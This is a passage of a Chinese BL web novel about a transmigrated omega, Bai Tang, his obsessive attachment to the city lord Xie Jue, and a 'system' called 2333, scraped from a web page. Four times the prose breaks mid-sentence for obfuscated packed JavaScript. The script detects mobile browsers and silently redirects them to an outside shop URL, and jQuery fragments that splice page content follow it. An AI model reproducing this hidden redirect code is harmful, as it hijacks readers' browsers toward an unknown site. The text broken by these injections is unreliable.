小护士们相视一眼,齐齐摇头,七嘴八舌道: “白少爷好乖好软!像特别听话的小朋友!跟那个姓苏的心机白莲完全不一样!” “对对对!就是像很乖的小朋友!说话有种很特别的调调,让人听了,心里跟被小猫爪子挠了似的!” “城主跟他说话也像哄小朋友似的!眼神儿更是……啧啧。城主对苏锦程,可从来没有过。” “不都是苏锦程那条烂蛆上赶子去黏城主?城主就淡淡的:‘嗯’、‘好’。你们还说苏锦程受宠,城主什么都顺着他。要是你们看见城主现在怎么对白少爷的,立马就会觉得,城主对苏锦程,完全就是敷衍!” “我就说城主从来没喜欢过苏锦程!城主多精明一人啊,咱们能看出来的,他能看不出来?城主把苏锦程养在身边,肯定另有目的!” 立马有人问:“什么目的?” “当然是养着苏锦程,等白少爷借尸还魂啊。” “可……城主把苏锦程虐成这样,白少爷不是跟着遭罪?” “而且刑房那会儿,城主也是一脸震惊。应该也没料到苏锦程会突然变成白少爷吧?” “那城主还一早就为白少爷备下了那间童话一样的卧房呢!” “你怎么知道那间卧房是为白少爷准备的?” “哦,你来得晚不知道——那间卧室的装潢,全是城主亲自指定。家具也是城主亲自画出图样,请人专门定做的。都是市面上没见过的样式。” “可是把房间装得那么好看,城主却从来不用。除了定期打扫,门一直锁着。钥匙也只有城主自己有,钟叔都没有呢。”女仆说完,向钟叔投去求证的眼神。 钟叔敛目品茗,不语。 女仆倒也无所谓,自顾自地继续道:“有一次我拿钥匙进去打扫,被苏锦程看到房内的样子,他就跑去跟城主说,他想住进去。结果呢?他住哪儿去了?地下室!可人家白少爷一来,立马住了进去!城主亲自照看!什么叫云壤之别!” 另一个小护士也赶紧分享自己掌握的八卦:“我听见白少爷叫城主‘bo先生’哎!你们有谁听见过吗?” 有人附和:“我!我也听见了!我还想说这事儿呢!” 有人好奇:“bo先生?哪个bo?” “我哪知道!” “城主的名字里,也没有bo字啊?” “所以才奇怪嘛。” “会不会,是前世今生?城主上辈子姓bo?” “有可能哎!” “所以,白少爷,是城主上辈子的爱人?” “爱人吗?我感觉像弟弟,甚至……儿子?” 该发言迅速招来一片鄙视: “一看就是没谈过恋爱的母胎solo。” “恋爱的时候,被宠爱的一方就是会变回小朋友的!” “啊!”又有人大惊小怪地喊了一声,“我好像猜到城主为什么那么恨苏锦程了!” “为什么?!”众人的注意力齐齐被吸引过去。 “我猜哦,是苏锦程跟白少爷长得很像!所以城主才会把他养在身边,什么需求都尽量满足,但是又很敷衍——他就是个城主用来睹人思人的替身!” “可这个替身拎不清自己几斤几两,敢背着城主跟杜妄那条舔狗暧昧不清,城主觉得替身污染了白月光,所以才会对苏锦程那么狠!” 众人一致觉得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846771|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 有道理。 但是很快,就有人迟疑道:“可是……如果苏锦程跟白少爷长得很像,城主怎么忍心对苏锦程下那么狠的手?” 众人面面相觑。 安静。 有人提出一个犀利问题:“哎,你们说,城主现在看着白少爷,是个什么心情?” “当然是故人归来,相执泪眼啊!” “可白少爷伤这么重,可以说是城主亲手造成的……”说话人看向秦汉,“秦医生不是上周就跟城主说,苏锦程撑不了太久,也就这两天的事儿?白少爷用的是苏锦程的身体,那不就是说……?” “啊?”年轻的女仆、护士们发出悲鸣,“不会吧?” 众人齐齐看向秦汉,目光谴责。仿佛下病危通知的他是刽子手。 秦汉颇为无辜地扫过众人。 “我相信,爱能创造奇迹。” - 白棠再次醒来,天已经黑了。 男人不在,代为看护的,是护士小宋。 两人大眼儿瞪小眼儿。 过了两三秒,小宋才反应过来,磕磕巴巴地语无伦次道:“白、白少爷!您醒啦?有什么吩咐吗?” “哦!城主在开电话会议!他怕打扰您,就去了楼上书房。不过城主有吩咐,您醒了要第一时间告诉他!我这就告诉城主哈!” omega却发出惊慌失措的叫喊:“不要!” 小宋起身的动作一顿,错愕又探究地看向白棠,两道细眉不自觉地蹙起。 怎么感觉,现在的白少爷,跟之前的时候,不太一样? omega飞快收起脸上的慌乱,调整语气,软声道:“不要去找谢……城主。我不想打扰他工作。” 小宋歪头。 果然哪里怪怪的。 可是怪在哪里,她一时说不上来。 “可是城主吩咐过……” 不待小宋说完,omega便急道:“不要去找他!……求你。” 小宋对那幼鹿似的冰蓝色瞳子毫无抵抗力,戳在床边陷入两难。 omega语气真挚:“这几天他为了照顾我,已经耽误了太多工作。我不希望连我醒来这种小事都要打扰他。” 小宋盯着白棠,神色近乎见鬼。 这个白少爷,果然跟之前的那个不一样! 虽然说话的语调也很软,但……没有那种很乖的小朋友的感觉。 尤其是眼神!之前的白少爷,目光清澈、纯真,没有一丝杂质。不管房间里什么人出入,他就一瞬不瞬地盯着他们城主,眼中盛满痴迷和依恋。 可现在这个白少爷,眼珠子一直咕噜噜地转,总感觉……在偷偷算计什么…… 他刚才是不是还说……“谢城主”?白少爷不是一直叫城主“薄先生”? 是因为话是对她说的,才临时换了称呼? 小宋越琢磨越不对劲。 许是见她不动也不言语,omega再次软声央求:“求求你啊,漂亮姐姐。” 他微微咬住下唇,眼巴巴地望小宋。 小宋仿佛被喂了毒蘑菇,晕晕乎乎地答应下来。 屁股刚重新沾上椅子,她便被自己突然冒出的念头惊得差点跳起来—— 这副皮囊里的魂魄,该不会……又变回苏锦程了吧?! 5. 白妲己 白棠知道小宋对他生疑了。但他现在顾不上。 “小狗”不是他的第二人格,而是压倒一切的本能。 谢珏一出现,这个压倒一切的“本能”就会接管他的一切,让他变成一个彻头彻尾的恋爱脑,满脑子只想着“想要得到薄先生全部的爱”。 理智只能被挤到角落旁观,连思考都做不到。 难得谢珏不在,他要抓住这个窗口期,捋清楚这一切到底是怎么回事。 几乎可以肯定的是,谢珏跟他有前缘。在那段前缘中,谢珏是“薄先生”。 他很依赖薄先生,也很信任薄先生,愿意将自己的一切,毫无保留地交付给对方。 可是白棠没有那段记忆。所以这种“毫无保留的交付”,让理智的他,感到恐慌。 极度恐慌。 他想离谢珏,或者说,离薄先生远一些。在他彻底弄清楚他们的过往之前。 虽然谢珏对他很好,可这副身体遭受过的折磨,放大了他的恐惧和不安。让他忍不住地怀疑,他的“本能”,是不是也是残忍折磨下的自我催眠?也就是所谓的,斯德哥尔摩? 应该……不是? 他亲眼见到的谢珏,和原主记忆中的谢珏,是完全不同的人。 那会不会……是谢珏在伪装? 如果是,谢珏这样做的目的,又是什么? “你神经病啊!你怎么可以怀疑薄先生!” 本能突然对理智发起猛烈攻击,那尖锐刺耳的声音,歇斯底里的语气,像极了之前他对2333发神经时的样子。 危机感拉响刺耳的警报,白棠感觉昏沉像一波波的海浪,开始向他发起冲击。 理智的思绪开始溃散,耳畔全是他自己的喃喃: “想见薄先生……好想薄先生……想要薄先生过来陪我……薄先生……” 一遍又一遍,一声叠着一声,语调病态、疯魔,像什么可怕的魔咒。 白棠愈发惊慌。怎么会这样?怎么谢珏不在,自己的症状却更可怕了? 不行!要坚持!有一件很重要的事,他拼命试图记住的事,还没来得及梳理。 是什么事来着? 不行,想不起来,脑子里全是本能的可怕痴念。 闭嘴!闭嘴!不要吵我啊! 白棠鼻尖一酸,急得想哭。 别慌,白棠,稳住,你的理智还在,还没有被本能的海啸冲垮,集中精神,快想。 快想啊!!! 他催促自己,像那个歇斯底里的疯子。 摇摇欲坠的理智,在这一瞬,彻底坍塌。 “白少爷?!”小宋吓了一跳,哆哆嗦嗦地问:“你、你怎么哭啦?” “我、我想见薄先生,我好想他……呜……”漂亮病弱的Omega,哭得像个受尽委屈的小孩子。 小宋呆住。 她真切地感觉到,她熟悉的那个白少爷,回来了。 她回过神来,不自觉地用哄小朋友的温柔语调哄白棠:“白少爷!你快别哭,我这就去找城主!” 不想白棠却还是拦着她,“不要!薄先生在工作,我们不要打搅他……我可以乖乖等的!” Omega说完,便用力咬住下唇,眼睛睁得大大的,努力噙住眼泪。 可是根本噙不住一点。豆大的泪珠,煮沸的米汤一样往外冒。 小宋不能理解人怎么能哭成这个样子。她怔怔的、甚至有些惊恐地看白棠。 白棠吸了吸鼻子,调整混乱的气息,对着小宋努力微笑:“姐姐,你讲故事给我听好不好?或者讲笑话!帮我分散一下注意力……我不想这样……我不想给薄先生添麻烦,被他讨厌……你帮帮我好不好?” 小宋再次跟吃了毒蘑菇似的,稀里糊涂地应好,坐在床边,柔声细语地给白棠讲故事。 可是白棠完全没在听。 他一直哭,越哭越凶,从无声无息地大颗掉泪,到咬着唇瓣小声呜咽,最后完全失控地哭出声来。 “姐姐,怎么办?我好想薄先生……我控制不住自己……我好想马上见到他,呜……” “没关系啊!城主本来就是把您放在首位的!”小宋忙不迭地哄,“我不是说了,城主特意交代过,您醒了,要第一时间告诉他!我这就帮您叫城主哈!” 小宋赶紧联系钟叔,请钟叔去找城主。 - “想我想得……哭了?”城主撩起眼帘,眉梢轻微抽了抽。 钟叔亦觉难以启齿。刚睡醒就哭着找城主什么的,小婴儿吗?做的人不嫌害臊,他这个传话的却臊得恨不能挖个洞钻进去。 “嗯。”钟叔艰涩地应了一声,浑身都忍不住地抖了一抖,抖掉满身的鸡皮疙瘩。 “不管!”城主厌恶地冷声。 钟叔诧异抬眼,见城主的视线是落在电脑屏幕上的。 “是柏城的日子太舒坦,给了你们天下大同的幻觉,一个个的这么圣母?” 瞧见还挂在谢珏左耳上的耳机和线控麦克风,钟叔明白过来,城主这是在训斥与会人员。 可先前那句“不管”,到底是对与会人员说的,还是对他说的,钟叔仍不太确定。 虽说城主这几日确实把白少爷当小婴儿似的养着,可醒来就哭着找人什么的,就算是真的小婴儿也不能惯着,何况是那么大个人? 最重要的是,城主不是能被随意拿捏的人。要是哭就有用,苏锦程又怎么会落得那种下场。 钟叔这边还琢磨着,城主已经训完下属。他关闭麦克风,对钟叔换上平和语气:“我这儿还要半个小时……二十分钟吧。你去哄哄他,有任何要求,尽量满足。” 城务会议,半小时,压缩到二十分钟。 有任何要求,尽量满足。 钟叔暗自咂摸着,恭谨地领命退下。 是他低估这位“白妲己”的能耐了。 于是,在下楼目睹新情况后,钟叔不敢有片刻迟滞,拖着年近半百的老骨头,一步三个台阶地重又跑上楼去。甚至在敲完门后,不待城主应允,便擅自推开房门闯了进去。 “城主!白少爷要立刻见您,说是一分钟都等不了,爬也要爬过来。我跟小宋两个人都按不住他!” 谢珏神色一凛,“哐当”撞开椅子,拔腿直奔门外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846772|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>擦肩而过的一瞬,钟叔从城主脸上,见到了从未有过的惶然。 仿佛世界即将末日。 - 从二楼书房,到一楼南角的星空卧房,谢珏只用了20秒。 可他还是来迟了。 点点刺目的红,如一支支利箭,狠狠刺入他的眼睛,叫他顿下脚步,瞳孔不受控地狠狠收缩。 床上床下,一片狼藉—— 输液架和椅子都倒了。药液顺着输液管,淌了一地。 白棠已经昏迷,大半身子垂下床来,身体瘫软得犹如死人。先一步赶到的秦汉和护士小陈,正和小宋一起,手忙脚乱地把人扶正。 鲜红的血,已将Omega的白衣染得斑驳。里边的纱布,不敢想象会是什么样子。 最可怕的是,满地的溅射状血滴。 谢珏双眸一凝,上前一大步,弯身拾起血洼中那枚留置针针头。 胶带和针体上全是血,针尖上还挂着一丝细小的皮肉。 钢制的针头,竟然弯了。 谢珏的两腮肌肉抽动。 他将那枚留置针放上床头柜,示意秦汉和两个护士让开,低沉的声音带着极力克制的微颤:“我来。” 他弯身抱起Omega轻若羽毛的残破身躯。小宋和小陈急忙将皱成一团的床铺平整,摆正歪斜的枕头。谢珏复又弯腰,将人小心翼翼、珍而重之地轻轻放下。 仿佛怀抱的是个雪人,稍有不慎,就会碎成粉末。 Omega的脸上全是泪,眉心痛苦地拧在一起。谢珏看了一眼,便不敢直视般地迅速移开视线,查看Omega身体的其他部分。 他掀开Omega的宽松长衫,从纱布的渗血速度来看,各处的伤口撕裂不算严重,不需要全部拆除重包,做层加固即可。 伤得最重的还是左手。插留置针的位置,皮肉都被扯掉一块,鲜血淋漓。枯瘦如柴的手,肿胀得像个小馒头。 他接过秦汉递来的纱布和冰袋,给白棠按压止血、冰敷消肿。 卧房里死一般寂静。只有众人忙碌的沙沙声音,听不到半点呼吸。 “怎么会弄成这样?”城主的声音,很沉、很闷。 像一座岩浆缓缓翻涌,即将爆裂的火山。 强忍泪水的小宋,一下子哭出声来,浑身颤抖着,语无伦次地疯狂道歉:“对不起!城主!我、我也不知道……对不起!对不起!对不起……” 谢珏仰头深呼吸,闭了闭眼,转头看向濒临崩溃的小宋,对揽着小宋肩膀无声安抚的小陈说:“给她接杯温水,坐沙发那边冷静一下。” “是,城主。”小陈领命。 小宋却是猛然抬眼,噙着泪错愕道:“城主,您不怪我?” 谢珏说:“我相信这不会是你的错。为什么要怪你?” 小宋按捺不住地大哭出声,“谢谢城主!我可以讲清楚的!我现在就讲!” 她张开嘴,又似突然意识到什么,抽泣着小声问:“城主,我……可以单独与您说吗?” 言出,房内其他人都露出诧异目光。 谢珏看了看小宋,起身:“跟我来。” 6. 你这习惯得改一改 卧房清理完毕,白棠各处的伤,也都得到了妥善处置。 房间里没有其他人,就谢珏自己,对着昏迷的白棠,静默地坐着。 指尖掐着那枚弯曲的留置针。 他低垂的眼睫是干燥的,可总给人一种,下一秒,就会被眼泪打湿的感觉。 房间里的空气,压抑异常。 不知过了多久,谢珏终于开口:“他的病,还在,是吗?” 2333一愣:跟谁说话呢? 我吗?我又不能回应你。 “哪怕他已经忘了生前事,哪怕他已经死过一次,他的病,也没能剥离?”谢珏的眉心不住抽动,似乎下一秒,眼泪就会落下。 2333百感交集。 在他的印象里,男人总是自信从容、游刃有余,闪闪发光到让人恨不能给他两拳。 他从未见过男人如此无助、彷徨的模样。 爱情到底是什么洪水猛兽。没一个碰了不栽的。 智者不入爱河。2333为自己的明智点赞。 男人蓦地笑了一下,很酸涩的:“也对。他要是能好,就不可能回到我身边,而会是一个……完全不相干的人了,对吗?” 2333重重叹了一声,唉。 男人动了动嘴唇,仿佛期待什么奇迹般,用一种近乎乞求、卑微的语气问:“那他的病,有没有变轻一些?毕竟,他已经死过一次……” 2333叹气:他死过何止一次…… 遇见你这么个祸害,只能说,是这小孩儿命中的劫。 得不到回应,只能自说自话的男人枯坐在椅子里,仿佛他的血液、亦或生命力,正在被什么看不见的东西,吞噬。 直到床上的Omega发出细弱的微吟。 快要化作石雕的男人瞬间复活,敛去一身死气,如一江春水,温柔地笼住对方:“醒了?还好吗?有没有哪里不舒服,或者疼?” Omega的眼睛骤然凝缩,射出两道审慎、警惕的精光。 但只是很短暂的一瞬,很容易被人忽视的一瞬,便迅速柔软下来,痴恋多到满溢。 “薄先生。”他软软甜甜地唤,语调浸润着幸福和满足。 和过去的三天,一模一样。 谢珏回想起小宋的话:“白少爷刚醒来的时候,就像……变了个人!浑身上下,都给人一种紧绷着,很警惕的感觉……” 白棠的眼神变化,谢珏当然一早就发现了。他只是没想到,原来他不在,能让白棠的那种状态,维持更久。久到能被一个接触不多的护士察觉。 此时再次捕捉那道警惕的目光出现又消失,谢珏不由去想,自己是不是该……放手。 不过转瞬,他就扼杀了这无能的念头。 他为你拼尽全力,你怎么可以放手。 哪怕有朝一日,他哭着求你放过他,你都不能放。 因为,那不会是他的真心。 谢珏飞快整理好心绪,牵起唇角,温柔回应:“我在。” 病弱的Omega没再说话,就只是痴痴地盯着他,幸福地傻笑。 仿佛只要谢珏陪在他身边、这样子温柔地注视着他,他就已经得到了世间一切。 谢珏面如春风,心如刀绞。 “薄先生。”白棠又叫他。病弱让他的声音听起来异常柔软。 谢珏不厌其烦地柔声回应:“嗯。” “今天可以让我摸你的眼睛了吗?”白棠盯着他,像央求主人带出去玩的小狗。 过去的三天,他一直执着于这件事。每次醒来都会问。 但谢珏一直没满足他。 是自身性格使然,他有他的骄傲。 也因为白棠的任务,他不能让白棠轻易得到他想要的。 但现在,谢珏有一瞬的动摇。 不过转瞬,他便重新硬起心肠,一如既往地坏心逗弄:“为了这个目标,今天你有做出什么新的努力吗?” 白棠微微噘起嘴巴,眉心微皱,露出认真思索的表情。 很快,他似猛然记起什么,瞳孔微张,一副不敢置信的模样,而后又像自知做错了事,主动向父母道歉,却担心被父母责骂的小朋友,细弱的声音听起来像要哭了:“薄先生,对不起,我、我先前醒来的时候……我、我……” 他“我”了半天,神情从难以启齿,到似是想到什么可怕的事情,急道:“我有没有弄伤那个姐姐?!” 谢珏温声安抚:“没有。” 其实是有的。钟叔跑去找谢珏,小宋独木难支,手臂被疯狂挣扎的白棠打青了好几处,还被拔下来的留置针划伤了一道。 所幸都是很轻微的皮肉伤,过个一周,也就消了。 谢珏给小宋放了三天带薪假。 “那……你会生我的气,讨厌我吗?”白棠语调怯懦、目光怯懦。可在那双冰蓝色的眼瞳深处,却透出一种令人毛骨悚然的执拗。 仿佛谢珏说“会”,他就要做出什么更可怕的事情来。 谢珏与他对视片刻,不答反问:“为什么要那么做?” 白棠咬住唇瓣,可怜巴巴地看谢珏,像被主人训斥了的小狗。 谢珏沉默地注视他。 “我也不想的……”白棠小声说。 他的视线没有因为心虚而移开。 只要醒着,他就一直盯着谢珏,恨不能眼睛都不眨一下。直到熬不住地昏睡过去。 次次如此。 现在亦是如此。 “我听说你在工作,原本是不想打扰你的……可是……”他咬了咬嘴唇,眼巴巴地望着谢珏,语调里尽是委屈:“就是好想你……感觉再迟一秒,我就要死了……” 谢珏面无表情,心里惊涛骇浪。 直球这种技能,不喜欢的人用,只能招致反感,喜欢的人用,就是爆伤。 他迟早要死在白棠手里。 见男人不说话,表情严肃,白棠抬了抬那只缠着纱布、肿胀未消的手,试探地伸向男人。 在接收到男人不容触碰的目光后,又悻悻地缩回小爪子,委屈地噘了噘嘴巴。 他觉得男人好坏的。对他好,诱惑他,又不给他碰,不肯满足他,天天钓着他。 “我保证以后不会了。”白棠语气真挚,冰蓝色的大眼睛卖萌似的眨巴眨巴。 男人挑眉:“你拿什么保证?” 白棠抿了抿嘴巴,壮士断腕般地信誓旦旦:“要是还有下一次,就让我永远不能摸你的眼睛!” 谢珏欣然应好:“如果你能做到,我就让你摸我的眼睛。” 白棠眼睛亮晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846773|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 晶的,十分地欢欣雀跃:“真哒?” 男人颔首,“当然。” “可是,我要怎么证明呢?我一直乖乖的,你也可以说,又没发生什么事情,然后不给我摸你的眼睛。”白棠噘嘴。 男人说:“明天我要出门一趟。” 白棠瞬间如遇雷击,睁大眼睛,张着嘴巴,呆滞。 男人伸出两根手指:“大概两个小时。如果你能在这两个小时里,不哭不闹,等我回来,就给你摸我的眼睛。” 白棠笑得眼睛弯弯:“我一定能做到的!” - 旧伤叠新伤,白棠重又变得嗜睡。一觉醒来,已经是第二天下午。 谢珏不在身边。钟叔和秦汉两大元老亲自看护他。 白·理智版·棠睁眼看了一圈儿又默默闭上。想想还是重新睁开,学着白·小狗·棠的语气,软声问:“薄先生已经出门了吗?” 钟叔恭谨应声:“是的,白少爷。” 欧耶!白棠在内心欢呼。 他不知道,窃喜和兴奋,已经明目张胆爬上了他的脸。 丝毫不见主人离开小狗的失落和难过。 钟叔看着似是恨不能从床上跳起来蹦迪的Omega,不动声色地自我介绍:“我是这里的管家,钟叔。之前您与城主说话时,我来过几次,想必您是记得的。您有任何需求,不必有任何顾虑,直接跟我说就可以。这位是秦汉,秦医生。” 秦汉颔首致意:“白少爷好。” 白棠缩在被子里,像胆小的小动物:“你们好。可不可以……请你们……去沙发那边坐?你们坐在床边看着我,怪怪的……” 钟叔和秦汉十分配合地去墙边的沙发上坐。 白棠迅速理了理思绪,深呼吸,告诉自己,别急、别燥,任何负面情绪,都是让本能压倒理智的催化剂,他要—— 心、平、气、和。 给自己做好心理建设,白棠叫人:【系统先生,您在吗?】 2333:【嗨哟,你可别这么叫我。】 白棠一头雾水:【啊?那我该怎么称呼您?】 2333:【叫“叔叔”啊。】 白棠:…… 婉拒。 2333:【叔叔好心提示你,你这个见人就‘某某先生’的习惯得改一改。你男人什么德行你不知道?】 白棠十分无辜:【我不知道啊。】 紧接着,他就一副天真无邪的语气问:【您告诉我好不好?】 2333十分不正经地哼哼坏笑:【把你捆了,让你三天三夜都下不来床!】 白棠只觉脑子里的某根弦“嗡”地一声。 他呆滞半晌,慢慢咬住嘴唇。脸,可耻地红了。 就连呼吸也不自觉加快。 2333翻了个白眼儿:老变态养出的小变态。 别人听了都是害怕,他倒好,还兴奋上了。 【我跟他……已经是那种关系了吗?我是说,我还活着的时候。】白棠红着脸问。 【不然呢?】话出口,2333恨不能给自己一个大耳刮。 这大嘴巴,竟然被个失忆的小毛孩儿套了话! 白棠心脏狂跳,不自觉地拔高音量:【你果然什么都知道!快点把你知道的都告诉我!】 7. 气得谢珏想把人捞过来 [系统忙,有事请留言。] 白棠被2333的骚操作震惊了。 就这么生匿?都不带过渡掩饰一下的? 意识到自己气息变得粗重,白棠急忙深呼吸,将见风就起浪的情绪熨平整。 他搬出上次清醒时,怎么也想不起来的那件重要事情: 【谢珏猜到我是宿主、他是我的攻略目标了,对不对?】 【他发现我有话说不出,就猜到有禁制!所以他换了个方式,问我:你想从我这里,得到什么?】 【他在试探我的任务内容。】 而那只满脑子只有情情爱爱的小狗,给了谢珏错误答案…… 白棠恨不能穿越回去,掐死小狗。 可……别说真正的答案会被屏蔽,就算能说出来,谢珏,会帮他吗? 什么叫“看你表现”啊魂淡! 是要自己像只小狗一样摇尾巴讨好他吗? 他、才、不、要! 长得帅了不起? 此念一生,脑子里便不自觉浮现出对方那张精雕细琢的脸。 尤其是左眼眼尾,那颗红色小痣。似是附着了什么致命魔咒,诱惑着人,想要亲吻上去…… 气鼓鼓的白棠瞬间漏了气。 好吧,长得帅,确实了不起…… “薄先生……啊,薄先生……” 痴念如同地缝里钻出来的阴魂,口中发出病态的呼唤。 白棠一个激灵,赶紧把脑子里的人脸甩出去! 好可怕!怎么想一下都不行?正事儿还没办呢! 他收拢自己胡乱发散的思绪。刚才说到哪了?哦,对—— 【谢珏,也是宿主。对不对?】 [系统忙,有事请留言。] 逃避就是默认! 白棠继续问下去:【那上辈子的我,怎么会认识他呢?难道,我是他的任务目标?】 【那他爱我,是出自真心,还是为了任务?】 话问完,白棠突然嫌弃自己。问这个干什么?重要吗? ……不重要吗? “薄先生……啊,薄先生……” 心思一动,小狗就开始阴湿鬼叫。 白棠闭眼深呼吸,赶紧想还有什么要紧事。 【我的精神问题,是我自带的,还是受了苏锦程的影响?】 白棠不觉得自己生前有精神病。模糊的印象告诉他,他生前是个彩虹糖一样阳光快乐的人。而长达四个月的地下室生活,让苏锦程疯了个彻底。 可是,从原主疯后的残缺记忆看,苏锦程发疯时的症状,跟他的,似乎不太一样? 【我是受了苏锦程的影响,对吧?】白棠再次焦躁起来,急于求证什么般:【你们不可能选个精神病当宿主,对不对?】 回应他的,还是只有那句: [系统忙,有事请留言。] 白棠按捺不住地尖声叫嚷:【2333!你给我出来!我知道你在呢!】 下一秒,他又颤抖着万分惊恐地道歉:【对不起!对不起系统先生!我不想这样大喊大叫的!可是……可是我……】 他努力稳定自己剧烈波动的情绪,带着哭腔道:【系统先生,你别藏起来,回应我一下好不好……求求你,系统先生……】 说着,他便无法自控地哭出声:【我不想再发疯……我不想只能眼睁睁看着自己发疯却无能为力……系统先生!】 “白少爷?您……还好吗?” 白棠睁开噙满泪的眼,见钟叔和秦汉不知什么时候凑到床边,万分紧张地盯着他。 “您是……想见城主吗?”钟叔体贴地问。 不想白棠却像被踩了尾巴的猫,激动地尖声叫嚷道:“我不见!你别跟我提他!” 钟叔和秦汉都被震住了,满脸惊愕地看着白棠。 频繁失控的绝望感淹没了白棠,他懊悔地大哭:“对不起!对不起!我不是有意的……真的很对不起……我、我……呜……” 秦汉看钟叔。钟叔撩起眼皮,瞄床头柜上的水晶摆件。 那里边,有一个非常小巧的摄像头。 不止那个水晶摆件。昨天的事情发生后,城主便在这间卧室,无死角地安装了八处监控。 不知镜头后的人,此时,是什么表情? 镜头后的人,没有表情。 他只是将指尖没有点燃的烟,掐成了两段。拇指的指甲,穿透断裂的烟身,将食指皮肉压到泛白,似是下一秒就要扣出血来。 白棠一边用力抹汹涌而出的泪,一边大口大口地吸气。 气息剧烈、短促,颤得厉害,像极了被割断喉咙的人,发出的濒死之声。 钟叔跟秦汉戳在床边,听得心惊肉跳。 白棠顾不得别人怎么看他。他在拼尽全力,压制自己翻涌、混乱的情绪,压制那只想跟他争权的小狗。 “白少爷,您……别勉强自己。要不,我帮您跟城主打个电话?”钟叔实在不敢等下去。他担心昨日重现。 “不要!”白棠哭得字音模糊,凶一句、软一句,像两个不同的人格在剧烈切换: “不要联系他……” “别跟我提他!离我远点儿!……滚啊!” “对不起!我……” “求求你们,别管我,别管我了!” 钟叔无措地看向秦汉。秦汉抿着嘴唇沉默两秒,瞄向水晶摆件。 真要有什么事情,城主自己会冲过来。他们只需要在城主赶过来前,按住Omega,别再让他伤到自己。 钟叔顺着秦汉的视线看去,懂了他的意思。 两人沉默着回到沙发,让Omega的病态哭声,凌迟他们的神经。 真是,赚多大钱,遭多大罪。 因为全身都缠着纱布,胸腔和腹部,都承受一定的压迫感。正常呼吸的时候,白棠不觉得什么,可这样哭起来,很快就皮肉痛、骨头痛、哪儿哪儿都痛。 病痛,会极大程度地消磨人的意志。白棠觉得自己扛不住了。脑子又开始一阵阵地发昏,耳畔全是一声叠着一声的魔咒: “薄先生……好想薄先生……让我去见薄先生……” 却在这时,吊儿郎当的大叔音,如一道圣光,破开混沌迷雾,凌空而至: 【对。】 白棠的哭声,戛然而止。 他愣愣的,【什么对?】 2333:【你确实是受了原主的影响。】 白棠:【所以,不是我有精神病?】 2333没应声。 白棠却已欢呼雀跃起来:【我就说我不可能是精神病!】 【既然不是我自己有病就太好了!太好了!】他不停地叨念,未曾注意,他此时的模样,倒有几分像另一个自己。 紧绷到极致的精神倏然放松,本就重伤未愈的身体,让白棠很快昏睡过去。 他的眼角噙着未干的泪花,唇角,却噙着安心的弧。 不多时,房门打开,谢珏走了进来。 钟叔和秦汉急忙起身致意:“城……” “城”字只吐出半个音,便被谢珏抵在唇前的食指挡了回去。 他摆摆手,示意二人安静离开。 不要惊扰床上的Omega。 2333不由奇怪,男人看起来,一点儿都不像刚从外边回来的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846774|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 所以,男人是……压根没出门? 那他骗白棠要出门是……试探白棠病情的严重程度? 那自己刚刚,岂不是误导男人,帮了倒忙? 唉,溜了溜了。 门外,秦汉忧心忡忡:“说是要两小时,结果不到两分钟!这能看出什么?白少爷只是重伤在身,清醒没一会儿就又昏了!根本不能证明他有足够的自制力!城主这不是自欺欺人?” 钟叔平静地看着他,平静地说:“你说对了。” 秦汉怔住。 钟叔却已背着手,步履悠闲地踱向自己的房间。 秦汉又瞧了眼紧闭的房门,终是摇头叹气地离开。 房内,谢珏捏着纸巾,仔细为白棠吸干眼角的泪,拭去他额头的细汗。 脸上是欣慰而疼惜的笑。 “辛苦了,小白。” “恭喜你,你做到了。” “我就说你不可能还病得那么重。这几天你的状态一直都很好,不是吗?” “昨天只是个意外。小小的意外,对不对?” “你会好起来的。一切都会好起来的。” 话说着,谢珏俯下腰身,似是想要亲吻白棠的额角。 却在咫尺处,停下。 他的唇瓣,颤抖不止。喉头不规律地抽动,似是在饥渴地吞咽,又似在强忍呕吐。深紫色的眸中,浓郁而强烈的情绪,翻涌不息。 